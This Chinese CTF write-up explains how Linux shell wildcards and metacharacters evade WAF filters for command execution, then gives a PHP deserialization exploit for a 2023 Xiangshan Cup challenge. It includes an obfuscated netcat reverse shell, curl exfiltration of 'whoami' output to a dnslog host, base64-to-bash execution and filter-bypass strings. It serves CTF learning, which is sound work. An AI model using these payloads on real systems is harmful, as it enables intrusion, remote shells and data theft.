[命令执行,通配符,WAF绕过,linux,CTF] 在最近的2023香山杯里遇到了通配符绕过然后进行命令执行的题目,所以认为很有必要总结一下。
首先先了解下什么是Linux shell 通配符/glob模式:
概念: glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的/etc/glob (详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!
语法:
字符
解释
*
匹配任意长度任意字符
?
匹配任意单个字符
[list]
匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list]
匹配指定范围外的任意单个字符或字符集合
[!list]
同[^list]
{str1,str2,…}
匹配 srt1 或者 srt2 或者更多字符串,也可以是集合
专用字符集
字符
意义
[:alnum:]
任意数字或者字母
[:alpha:]
任意字母
[:space:]
空格
[:lower:]
小写字母
[:digit:]
任意数字
[:upper:]
任意大写字母
[:cntrl:]
控制符
[:graph:]
图形
[:print:]
可打印字符
[:punct:]
标点符号
[:xdigit:]
十六进制数
[:blank:]
空白字符(未验证)
Linux shell 元字符 在使用通配符时如果没有进行转义可能就会被辨识为元字符
字符
作用
IFS
由 < space > 或 < tab >或 < enter > 三者之一组成
CR
由 < enter > 产生
=
设定变量
$
作变量或运算替换
>
重导向标准输出
<
重导向标准输入
|
命令管线
&
重导向文件描述符,或将命令静默执行
( )
将其内的命令置于 nested subshell 执行,或用于运算或命令替换
{ }
将其内的命令置于 non-named function 中执行,或用在变量替换的界定范围
;
在前一个命令结束时,而忽略其返回值,继续执行下一个命令
&&
在前一个命令结束时,若返回值为 true,继续执行下一个命令
||
在前一个命令结束时,若返回值为 false,继续执行下一个命令
!
执行 history 中的命令
示例: 举几个简单的例子,举一反三,同理,各种混合结合效果更佳!
1 2 3 4 5 6 7 8 9 w2n1ck@w2n1ck ~/Desktop/shell ls a*? abc.txt w2n1ck@w2n1ck ~/Desktop/shell /?? ?/ [l]s12 .txt abc.txt w2n1ck@w2n1ck ~/Desktop/shell /?? ?/ [:lower : ]s12 .txt abc.txt 再比如: /?s ?/???/ [n]c 2130706433 8888 -e /?? ?/ b??h ...
其他绕过方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ls | id ls ; id 在shell中,担任"连续指令" 功能的符号就是"分号" ls & id ls 回车 id ls `id ` ls ` id ` 前面加了一个空格ls `\id ` 反斜杠 i\d等价于id ls $(id )ls | a=i;b=d;$a$b 拼接ls | echo aWQ=| base64 -d | bash 利用base64 `echo "aWQ=" |base64 -d`ls | curl xxx.ceye.io/`whoami ` 利用dnslog或者http web log cat <1.txtcat $IFS$91 .txtcat ${IFS} 1.txtcat $IFS1 .txt %0acat%091.txt w'h' o'am' i w"h" o"am" iwho $@ami echo i$@d |$0 w$@h$@o$@a$@m$@i
香山杯例题
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php error_reporting (0 );class Welcome { public $name ; public $arg = 'welcome' ; public function __construct ( ) { $this ->name = 'A_G00d_H4ck3r' ; } public function __destruct ( ) { if ($this ->name == 'A_G00d_H4ck3r' ){ echo $this ->arg; } } }class G00d { public $shell ; public $cmd ; public function __invoke ( ) { $shell = $this ->shell; $cmd = $this ->cmd; if (preg_match ('/f|l|a|g|\*|\?/i' , $cmd )){ die ("U R A BAD GUY" ); } eval ($shell ($cmd )); } }class H4ck3r { public $func ; public function __toString ( ) { $function = $this ->func; $function (); } }$welcome =new Welcome ();$good =new G00d ();$h4ck3r =new H4ck3r ();$good ->shell='system' ;$good ->cmd='/bin/[k-m]s /' ;$welcome ->arg=$h4ck3r ;$h4ck3r ->func=$good ;print serialize ($welcome );?>
1 2 $good ->cmd='sort /[e-h]1[!bcdehijkmnopqrstuvwxyz][e-h]' ;// O:7 :"Welcome" :2 :{s:4 :"name" ;s:13 :"A_G00d_H4ck3r" ;s:3 :"arg" ;O:6 :"H4ck3r" :1 :{s:4 :"func" ;O:4 :"G00d" :2 :{s:5 :"shell" ;s:6 :"system" ;s:3 :"cmd" ;s:42 :"sort /[e-h]1[!bcdehijkmnopqrstuvwxyz][e-h]" ;}}}